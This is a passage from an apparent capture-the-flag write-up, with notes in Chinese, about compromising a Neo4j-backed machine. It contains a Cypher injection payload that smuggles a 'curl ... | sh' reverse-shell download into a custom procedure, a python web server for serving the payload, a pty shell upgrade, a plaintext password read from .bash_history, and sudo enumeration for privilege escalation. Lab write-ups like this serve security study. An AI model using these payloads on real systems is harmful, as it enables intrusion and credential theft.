publicclassCustomFunctions { @Procedure( name = "custom.getUrlStatusCode", mode = Mode.READ ) @Description("Returns the HTTP status code for the given URL as a string") public Stream<CustomFunctions.StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception { if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) { url = "https://" + url; }
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure raise Neo4jError.hydrate(**metadata) neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 63 (offset: 62)) "MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'whale120'' return h.value as hash" ^}
{ "username":"whale120' OR 1=1 CALL custom.getUrlStatusCode('10.10.16.5; curl http://10.10.16.5/shell.txt | sh # ') YIELD statusCode WITH 1 as a MATCH (n) RETURN n//", "password":"meow" }
shell.txt 放 reverse shell payload,用 python 開本地 80 port
1
python3 -m http.server 80
Privilege Escalation
Password Collection
從 neo4j 的 .bash_history 拿到 graphasm 的密碼
1 2 3 4 5 6 7 8 9 10
$ python3 -c "import pty;pty.spawn('/bin/bash')" python3 -c "import pty;pty.spawn('/bin/bash')" neo4j@cypher:/$ cd ~ cd ~ neo4j@cypher:~$ cat .bash_history cat .bash_history neo4j-admin dbms set-initial-password cU4btyib.20xtCMCXkBmerhK neo4j@cypher:~$ ls /home ls /home graphasm
File reading through sudo bbot
檢查權限,可以用 ROOT 做 bbot 指令
1 2 3 4 5 6 7 8 9 10
graphasm@cypher:~$ sudo -l sudo -l Matching Defaults entries for graphasm on cypher: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User graphasm may run the following commands on cypher: (ALL) NOPASSWD: /usr/local/bin/bbot